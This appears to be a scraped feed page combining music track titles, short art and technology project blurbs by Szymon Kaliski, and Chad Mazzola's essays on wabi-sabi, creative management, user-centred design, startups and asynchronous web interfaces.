wrong? give thank. because. the burden.


serocell - media feed



serocell - media feed

pipilan 11-19-2014


serocell - media feed



serocell - media feed

dna mobius


serocell - media feed

track point


Szymon Kaliski

LoopPI — hardware audio looper


LoopPI is a standalone four track audio looper made with Raspberry PI, ChucK and Node.js.

Szymon Kaliski

Sensorium — audio installation driven by EEG


flow/control collaborated with talented Rafał Zapała on his “Sensorium” installation, based on the idea of biofeedback from EEG and other biosensors.

Szymon Kaliski

EEG2OSC — osc transmitter for emotiv epoc


EEG2OSC was created for Rafał Zapała’s Sensorium project. It was used to pass data from Emotiv EPOC EEG Headset to Max/MSP.

Szymon Kaliski

Sonic Explorer — kinetic audio installation


Szymon Kaliski (from flow/control) collaborated with talented Marek Straszak on interactive audio art piece, built for Art+Bits festival in 2014, and later exhibited at WRO Biennale 2015, the biggest Polish new-media art biennale.

serocell - media feed

pure memory


serocell - media feed

mipilan sketches 7.14.2014


serocell - media feed

numeral dirge


serocell - media feed



serocell - media feed

drive corruption


serocell - media feed



serocell - media feed



serocell - media feed

mipilan sketches 7.15.2014


serocell - media feed

structural integration


serocell - media feed

easy pickings


serocell - media feed

all my people make it nice


serocell - media feed

end of silence


serocell - media feed

Crossed Wires II


serocell - media feed

Ardisson mix Take II


serocell - media feed



serocell - media feed

close to spirit


serocell - media feed



serocell - media feed



This type of enclosure is not supported yet

serocell - media feed

do it well


This type of enclosure is not supported yet

serocell - media feed

the box


This type of enclosure is not supported yet

serocell - media feed



serocell - media feed

post-lingual ontology


serocell - media feed

janet street porter & the neo surrealists


serocell - media feed



serocell - media feed

unicorn [detected dropped samples remix]


serocell - media feed

3 - who could have known


serocell - media feed

2 - the denial of depth


serocell - media feed

1 - empathy


Szymon Kaliski

Institut Des Mutations — generative webgl logo


flow/control created a generative logo, working in close collaboration with La Moulade design studio. We started from scratch, with an idea of organic movement and simplicity in mind.

serocell - media feed

balinese postcard


Szymon Kaliski

Nodation — music composition using graphs


Nodation is an experimental take on creating music using graphs. It was created during my residency at Fabrica in Fabruary 2014.

serocell - media feed

5 - passive


serocell - media feed

4 - africa


serocell - media feed

7 - tunisia


serocell - media feed

6 - prelude


serocell - media feed

3 - hairpin


serocell - media feed

1 - applebum


serocell - media feed

2 - cantata


serocell - media feed

the grand symbolic myriad


serocell - media feed

serocell - corner moves


serocell - media feed

live @ pasquo & getwax


Szymon Kaliski

Zamek — interactive movie


flow/control collaborated with Movlab studio to create the first Polish interactive movie. It was made during Movlab’s residency at Zamek Culture Centre.

Szymon Kaliski

BeatBattle — live audio-reactive visuals


I collaborated with .wju VJs collective to create live audioreactive visualizations for 2013 Red Bull’s BeatBattle In Poznań.

Chad Mazzola

Nothing lasts, nothing is finished, and nothing is perfect


The paper covering the tables at Svartengrens, one of my favorite restaurants in Stockholm, is a perfect expression of wabi-sabi.

Wabi-sabi can be summarized as the acknowledgement of three simple realities: ‘nothing lasts, nothing is finished, and nothing is perfect.’

On the paper, Svartengrens prints their name in rough and faded ink. As you eat, the paper picks up marks and stains: a ring from a water glass, drippings of fat, crumbs from a dessert.


Unlike the perfect cleanliness of a white table cloth, the faded lettering and plain paper seems improved by this patina of wear. It becomes a reminder of the roughness and imperfection of everyday life.

Food and eating are both intrinsically linked to the fleeting nature of experience. Food must be eaten in the short window between growth and decay. After that it becomes useful in a different way -- as fertilizer for another plant that will sprout and eventually decay.

I avoid restaurants that feature slickness and shine rather than the natural textures found in wood, stone and paper. These materials embrace wear and are made better by them. In a certain sense they are alive. They acquire a deeper character as they age. Their wear tells a story that reminds us of our own experience as finite beings. In contrast, a scratch or scuff in plastic or vinyl merely exposes the limited and lifeless nature of the material.

Food and eating is one area of experience in which wabi-sabi manifests itself. There are many others. The Disintegration Loops of William Basinski are a demonstration of time and decay within the domain of sound. As Basinski was transferring old analog tapes to a digital format, the tapes began to break apart as they played. The resulting sound had a damaged beauty that Basinski then captured.

What makes these works so memorable is not the fact that the loops are slowly disintegrating but the fact that we get to hear their deaths. In a very real way, we experience the muddled, ugly, brutal realities of life. What’s more, these muddled, ugly, brutal realities of life are, in their own way, incredibly beautiful, perhaps more beautiful than the original, pristine loops ever could have been.

Embracing wabi-sabi offers a profound understanding of human experience. Things arise and pass away. We carry the burden of the knowledge that we cannot remain forever. But this is what makes beauty and meaning possible.

Chad Mazzola

Creative work cannot be managed


Traditional management strategies are useless for problems that require creative thinking. And almost every job that has meaning for the future of humanity requires creative thinking.

Whatever opinion you may have about managers and their techniques, the actual history of the profession is likely far worse. For instance, this article covers research done at Harvard Business School about The Messy Link Between Slave Owners and Modern Management. A small excerpt:

Slave owners were able to collect data on their workforce in ways that other business owners couldn't because they had complete control over their workers. They didn't have to worry about turnover or recruiting new workers, and they could experiment with different tactics—moving workers around and demanding higher levels of output, even monitoring what they ate and how long new mothers breastfed their babies. And the slaves had no recourse.

“If you tried to do this with a northern laborer,” Rosenthal says, “they’d just quit.”

And then there's this history of scientific management from the New Yorker. Speaking about Frederick Winslow Taylor, the “Father of Scientific Management”, the article says:

Whether he was also a shameless fraud is a matter of some debate, but not, it must be said, much: it’s difficult to stage a debate when the preponderance of evidence falls to one side. In “The Management Myth: Why the Experts Keep Getting It Wrong”, Matthew Stewart points out what Taylor’s enemies and even some of his colleagues pointed out, nearly a century ago: Taylor fudged his data, lied to his clients, and inflated the record of his success. As it happens, Stewart did the same things during his seven years as a management consultant; fudging, lying, and inflating, he says, are the profession’s stock-in-trade.

The problem goes even deeper. Dan Pink’s popular TED talk goes over research that shows increasing financial rewards for better performance actually produces worse results for creative tasks.

What’s the solution? Enable people to meaningfully engage with their own work. As Dan Pink summarizes it, people doing creative work want and need three things: autonomy, mastery, and purpose.

I’ve been on several software projects where progress had stalled and frustrations began to rise. The response? More meetings, more top-down control over low-level decisions, more aggressive scheduling of milestones. The result each time was the same: the project failed anyway.

As Alan Cooper tweeted, “Management is about choosing the proven alternative over the risky new one. Creativity is about taking risks to find new alternatives.”

In order to produce meaningful new things, we must move beyond industrial-era strategies and embrace collaboration and creativity among the people actually engaged in the work.

Alongside the ideas of autonomy, mastery, purpose, creativity, and collaboration, another idea deserves consideration: empathy. It's a mistake to think of empathy as a soft concept that must be kept separate from rational decision making. Empathy for the people we work with and the people we are creating products and services for will result in far better results than hard-headed calculation alone.

There are hopeful signs that these ideas are making their way to the people who found and run companies.

Szymon Kaliski

Hello Poznań — interactive data visualisation of Poznań events


Hello Poznań! is an inteactive map showing events happening in Poznań.

Chad Mazzola

Beautiful code does not make a beautiful product


Developers, I know this might hurt, but it has to be said: beautiful, logical architecture within your code does not magically lead to software that users find equally beautiful and logical to use.

The sad state of most software is largely a result of ignorance to this distinction, leading to development practices that privilege the concerns of developers above those of users.

I found a striking illustration of this in Eric Evans’ well-regarded book, Domain-Driven Design. The needs of users appears as only a shadow amidst discussion about the design of data and logic.

This is the design process that Evans recommends:

  • Developers extract and clarify business needs through conversations with customers (who may not be the actual users of the software).
  • Through great intellectual effort, developers convert the business model into a software model.
  • Back and forth dialogue between developers and customers ensures the accuracy and viability of this model.
  • At the end of this process, a single model exists which represents the needs of customers and guides developers as they write code.

The deficiency of this approach for building human-facing systems is illustrated by an example provided by Evans himself. In the example, he tries to show the dangers of "superimposing" a UI model that differs from the underlying business/development model.

A user of Internet Explorer thinks of "Favorites" as a list of names of Web sites that persist from session to session. But the implementation treats a Favorite as a file containing a URL, and whose filename is put in the Favorites list. That's a problem if the Web page title contains characters that are illegal in Windows filenames. Suppose a user tries to store a Favorite and types the following name for it: "Laziness: The Secret to Happiness". An error message will say: "A filename cannot contain any of the following characters: \ / : * ? " < > | ".

In Evans’ opinion, silently removing illegal characters to eliminate the error is unacceptable, which leaves two possible fixes:

  • Expose the underlying filesystem to the user and have them deal with Favorites like they would any other file.
  • Change the way Favorites are stored to eliminate the problem of illegal characters.

Amazingly, Evans treats each of these options as equivalent. The first solution increases the work users must do, forcing them to interact with the filesystem, while the second option simply removes constraints, keeping the simplicity of the Favorites model. Each of these solutions is logically valid, but only one is correct. It is only blindness to the needs — and frustrations — of users that allows them to be treated as equal.

The first solution is seen as viable because it retains the purity of the codebase and requires no work from developers. Instead, the burden is shifted onto users.

The needs and goals of users must take precedence over the desire of developers to write beautifully architected code. If the purity of the code would suffer from a change that enhances the experience of users, then the code should suffer.

The design process that Evans endorses is a fine way to handle the collection and analysis of business requirements. But this must be paired with a design process that focuses explicitly on the human facing parts of the system. Agreement between customers and developers does not ensure the soundness of a design. Users don't really know what they want, nor do they understand the complexities of software well enough to drive the design process. The specific skills and methods of designers (interaction, user experience, whatever they happen to call themselves) are needed to distill the real needs of users. Even then, a designer must continually evaluate his or her work through direct observation of users in front of running software.

The contrast between these different approaches can be seen in a classic debate between Alan Cooper and Kent Beck, appropriately titled Extreme Programming vs. Interaction Design.

In the ten years since this discussion, Cooper and the interaction design community have moved to incorporate the agile/lean methodologies championed by XP. However, while the value of design for software has become more apparent, my own experience with developers is that many still do not grasp the real consequences of designing software from the perspective of users, not themselves.

Chad Mazzola

What to know before joining a startup


If you are considering an offer from a startup, I strongly recommend two articles: Negotiating Your Startup Job Offer by Robby Grossman and The worst time to join a startup is right after it gets initial VC financing by Chris Dixon.

Robby's post is a thorough look at the mistakes and gotchas found in many startup job offers. I want to highlight two points:

  • Your stock options will not make you rich. It would take a Facebook-sized success for stock options to make you wealthy. If your startup does have a successful exit, a more likely scenario is that you can put a down payment on a house or buy a new car.
  • For many startup employees, stock options will amount to nothing. This is an area where I'd love to see more numbers and analysis, but all the evidence points to the reality that many (most?) startup employees receive no financial gain from options. The startup may fail, have a minor success (which means the options don't exceed the cost of purchasing them or the salary given up to obtain them), or the employee chooses not to exercise the options.

If Robby's post is about evaluating the specifics of an offer, Chris’ post provides a general framework for evaluating offers and opportunities.

The most important point can be found in the title: The worst time to join a startup is right after it gets initial VC financing.

Depending on your willingness to accept risk, there are two (much different) periods when joining a startup is best:

  • Before initial VC financing, as close to founding as possible. This involves more risk than most opportunities, but puts you in a position to shape the DNA of the company, receive a more significant share of it, and experience the building of a company from the very beginning.
  • After sustained growth. A low risk, but potentially high-reward opportunity. The company you are joining is either profitable or heading toward a successful exit. Even if your options are small, the chance of them returning value is much higher. You'll be able to learn how successful companies are run and get access to a network of coworkers who could become co-founders for your next venture.

Implicit in these two articles is another piece of useful advice: Beware of joining a startup in the “trough of sorrow”.

Being a member of a stagnant or floundering startup can be extremely difficult, professionally and personally. During hiring, it's natural that a company may paint a positive picture of their situation despite the stagnation. Beware. Ask to see revenue numbers and other key metrics. Talk to investors, current employees, previous employees, and third-party observers. For a company in this position, the most important question to answer is whether they have a strong enough culture to make it through.

Just as there are differences between startups and other kinds of companies, not all startups are equal. After you've looked at the financial and professional variables, the final question to ask yourself is whether you are passionate enough about the opportunity to make it through the days when you simply have to show up and keep trying.

Chad Mazzola

The advantages of design in the 21st century


There's a talk by Bruno Latour titled A Cautious Prometheus? A Few Steps Toward a Philosophy of Design that I find myself coming back to again and again. As with most academic presentations, the path it follows is winding and at times obscure, but it plunges into depths that few manage to obtain.

In the talk, Latour speaks of design as a practice and perspective that will be central to shaping the 21st century. In his view, the world is shifting away from what he calls "matters of fact" and towards "matters of concern." Meaning those things we formerly viewed as objective facts which must be grimly accepted are now coming under our ability to control: disease, death, the traits of our children, the earth's climate, and on and on. The world we inhabit will increasingly be one that is designed by humans.

The central portion of the talk outlines what Latour sees as the "five advantages of the concept of 'design'". The argument that runs through each is that design is a necessary antidote to certain perspectives that shaped the 20th century.

  1. Design implies humility

    As a concept, design implies a humility that seems absent from the word "construction" or "building".

  2. Design pays attention to details

    "Go forward, break radically with the past and the consequences will take care of themselves!" This was the old way - to build, to construct, to destroy, to radically overhaul: "Après moi le déluge!" But that has never been the way of approaching a design project. A mad attention to the details has always been attached to the very definition of design skills.

  3. Design is open to interpretation and questions of meaning

    Wherever you think of something as being designed, you bring all of the tools, skills and crafts of interpretation to the analysis of that thing. It is thus of great import to witness the depths to which our daily surroundings, our most common artefacts are said to be designed.

  4. Design is always a redesign

    Design is a task that follows to make that something more lively, more commercial, more usable, more user friendly, more acceptable, more sustainable, and so on, depending on the various constraints to which the project has to answer.


    Designing is the antidote to founding, colonizing, establishing, or breaking with the past. It is an antidote to hubris and to the search for absolute certainty, absolute beginnings, and radical departures.

  5. Design involves an ethical dimension

    No designer will be able to claim: “I am just stating what exists”, or “I am simply drawing the consequences of the laws of nature”, or “I am simply reading the bottom line”.

There is of course much more nuance and detail to be found within the talk on each of these points.

The talk ends with a challenge to designers:

Now here is the challenge: In its long history, design practice has done a marvellous job of inventing the practical skills for drawing objects, from architectural drawing, mechanic blueprints, scale models, prototyping etc. But what has always been missing from those marvellous drawings (designs in the literal sense) are an impression of the controversies and the many contradicting stake holders that are born within with these.

In short, if design is charged with responding to the negative externalities of 20th century technology -- climate change, disease, increasing inequality -- how can we avoid creating new (and perhaps even more devastating) unintended outcomes?

Chad Mazzola

Guns as technology, guns as culture


Once a technology becomes ubiquitous, it ceases to be experienced as merely “technology”. It is now a part of culture.

Technology only exists as technology when we are forced to deal with an incomplete or buggy implementation — when the thingness of it gets in the way of the benefits it provides. Once a technology becomes stable and understood, it takes its place alongside other technologies that have become part of culture: hammers, running water, telephones, tractors, paved roads and so on. When ubiquitous technology becomes a part of culture, it also becomes a symbol. A symbol of mankind's desire to transcend our limits, to master some part of the world that has previously overwhelmed us.

This perspective helps us untangle the complexities of gun control in America. Guns are not only technology, they are culture and symbol. Much unproductive debate is had when they are reduced to merely one or the other.

When viewed as dangerous technology, it is common sense to severely restrict access to guns. The Onion understands this.

When viewed as symbols, guns are a potent part of the American myth. They are synonymous with the desire to tame nature and prove oneself worthy of existing within it. They represent authenticity and self-sufficiency. For those who feel a cultural connection to them, gun laws control culture, not technology.

But in the time since guns were absorbed into American culture, their power to destroy has grown out of proportion to their benefits. Like fossil fuels, they are a technology whose profound consequences have taken hundreds of years to manifest.

Debate about guns in America must grapple with the need to regulate dangerous technology, while navigating the complicated relationship to the symbol. American gun laws will be a delicate surgery at the technological, societal and political level.

Chad Mazzola

Design & Hacking


If design is treated as a neutral or implicitly good activity, it becomes merely a function of marketing and advertising. For design to be the radical activity that it can and should be, it must incorporate the spirit of hacking.

In a seminal post, Paul Buchheit describes hacking as a search for the actual rules of a system, as opposed to the perceived or claimed rules. It’s a search for truth.

Hacking is an overloaded word in our culture. It’s a search for truth, but it’s also a search for vulnerabilities and the means to exploit them. It often operates in the space between right and wrong. Taken far enough, hacking changes the world. It creates a new system with new rules by destroying the old system. It’s hard not to evoke shades of Nietzsche here.

Design that doesn’t attempt to achieve systematic change is merely style. The stylist produces fashion that is easily incorporated into the existing order of things. In order to meaningfully shape the future, design must challenge and overturn entrenched systems, not simply create new packages for yesterday’s ideas.

Chad Mazzola

Don’t Make Me Wait


Well-designed software doesn't allow the details of its technical implementation to dictate or degrade the user experience.

One of the most pervasive violations of this principle is the request/response model used by most web applications. Users are forced to submit each change to the server and wait for a response and subsequent page reload. Alan Cooper calls this model "archaic."

Users of web apps that behave like this are forced to accommodate the needs of the software instead of the software catering to them. Users will always be better served by seeing the results of actions quickly and smoothly, with no interruption of focus due to page reloads.

The past few years have seen great strides in our ability to deliver these kinds of rich, seamless interactions on the web. The key is asynchronous communication between the client and the server. This allows the results of actions taken by users to be immediate and continuous, while server-side processing is done in the background without interrupting.

Alex MacCaw, creator of Spine, gave a talk where he laid out three principles of asynchronous UIs:

  • Lie: update the UI asynchronously

    Show users the results of an action right away, even though the server has not yet returned a response.

  • Cheat: pretend there’s no server.

    Update the client-side and force the server to notify the client if there are failures.

  • Steal: steal data from the client when they’re not looking

    If a process must be done on the server-side, initiate the request as soon as possible rather than waiting for the user to send it.

Delivering these kinds of rich, seamless interactions is more difficult than using the traditional request/response model. Development teams resist these techniques for that reason, but also because implementing rich interactions demand a more significant design effort.

When a state change is made in a request/response model, a message is usually shown that indicates success or failure, with the interface now in a different state than the last time the user saw it.

In an asynchronous interface, results of actions must be shown immediately. Transitions and animations that provide feedback to user actions, along with an intuitive and non-disruptive flow from one state to the next, are a primary design challenge.

In an inherently 2D medium, the third dimension that web designers have traditionally focused on is depth -- drop shadows, bevels, gradients and so on. When designing rich interactions, time is the third dimension that matters. The interface must respond quickly and smoothly to user behavior in real-time. The priority is well-designed interaction, not the presentation of static pictures. Interaction over interface.

Implementing these kinds of interactions blurs the distinction between designer and developer. The view layer of web apps, which have traditionally been written in HTML, suddenly become dependent on JavaScript, stretching the ability of many designers to implement the interfaces they design. In addition, developers are forced to confront the challenge of not only performing actions on data, but representing these changes to users in the interface.

Quora has built a framework that addresses some of these concerns by giving designers access to rich interactions without needing to write JS.

Rich interfaces that communicate asynchronously with the server are better for users, but they require more effort and investment from product teams. The influence of people who can understand both the design and implementation of them will grow.

Chad Mazzola

Going from Zero to One


In the first session of his class at Stanford, Peter Thiel uses the framework of “0 to 1” and “1 to n” to talk about technology and progress.

At a most basic level, 0 to 1 refers to the process of creating new things, or simply “technology.” True innovation is synonymous with going from 0 to 1. You start with nothing and create something.

In contrast, 1 to n is, in Thiel's words, “copying things that work”. It is similar to what Clayton Christensen calls “sustaining innovations.” While the difficult work of 0 to 1 is mainly creative in nature, 1 to n is primarily a management and distribution problem. The enduring image of 1 to n is the factory line &mash; repeatable processes embedded within a hierarchical organization.

Startups exist because large companies find it extremely difficult, if not impossible, to go back to 0 once they are already at n. To innovate, large companies have to find a small group of talented people and literally send them away to begin fresh, without the influence of the parent company.

Startups are a natural home for multi-disciplinary thinkers because they require people able to consider the deep aspects of problems and synthesize novel solutions to them. Being able to see beyond narrow limits allows solutions to appear that would have remained hidden had a question been considered only from the perspective of a specific discipline. And getting multi-disciplinary people to talk to each other multiplies this effect.

But many startups don’t take the revolutionary nature of their mission seriously enough. Too many vestiges of big company thinking make their way in. The 9 to 5, Monday through Friday work week is a holdover from the factory line, not the natural schedule of someone engaged in critical-thinking about difficult problems. Hierarchical titles and rigid departmental structures are more examples of big company thinking.

Undoubtedly, not all startups are engaged in true 0 to 1 work. Many startups are simply small companies engaged in 1 to n work. But for those attempting true innovation, the highest priority must be fostering an environment that allows multi-disciplinary thinkers the best chance to create things the world has never seen before.

Chad Mazzola

The Design of Design


“I believe ‘a science of design’ to be an impossible and indeed misleading goal.”

That's what Fred Brooks says early in his book, The Design of Design. Brooks is best known for his massively influential book, The Mythical Man-Month, where he formulated whats come to be known as Brooks’s law: “Adding manpower to a late software project makes it later.” The Design of Design is concerned with discovering how great designers work and what factors lead to successful design projects. This post gives an overview of some of the key ideas.

Waterfall doesn’t work

First, Brooks names the enemy: “The waterfall model is wrong and harmful; we must outgrow it.” In a waterfall model of design, the designer would simply move through a series of decision trees, making clear choices that would lead to a final design. He argues that this model is wrong not only because it doesn't produce good results, but because it simply doesn't match the way designers work.

Great design relies on intuition

As Brooks says, the “chief service of a designer is helping clients discover what they want designed.” Real world studies “have frequently found 'intuitive' features of design ability to be the most effective and relevant to the intrinsic nature of design.”

Brooks believes that “great designs come from great designers. Not from great design processes.” While standardized practices can raise quality at the low end, they will not improve the work of the best design teams.

Trusting the intuition of great designers means excessive requirements “must be fought, by both birth control and infanticide.” Since “the incompleteness and inconsistencies of our ideas become clear only during implementation,” removing strict requirements allows designers to react to the evolving circumstances of the project and take advantage of the possibilities opened up by them. In addition, the design process must continue alongside the implementation to maximize the elegance and usefulness of the final product.

Bold decisions are necessary

But intuition alone is not enough. It must be paired with the willingness to make bold decisions. “The boldest design decisions, whoever made them, have accounted for much of the goodness of the outcome. These bold decisions were due sometimes to vision, sometimes to desperation. They were always gambles, requiring extra investment in hopes of getting a much better result.”

Brooks’s model for great design looks something like this: great designers working closely with the team responsible for implementation over a number of iterations, with free reign to make bold decisions. As promised, it's not science, but it's a compelling model that deserves greater use in the real world of design practice.

Szymon Kaliski

Sensorium — generative book covers


“Sensorium” is a collection of essays by Agnieszka Jelewska, studying relations between art, science, philosophy and human experience (more info).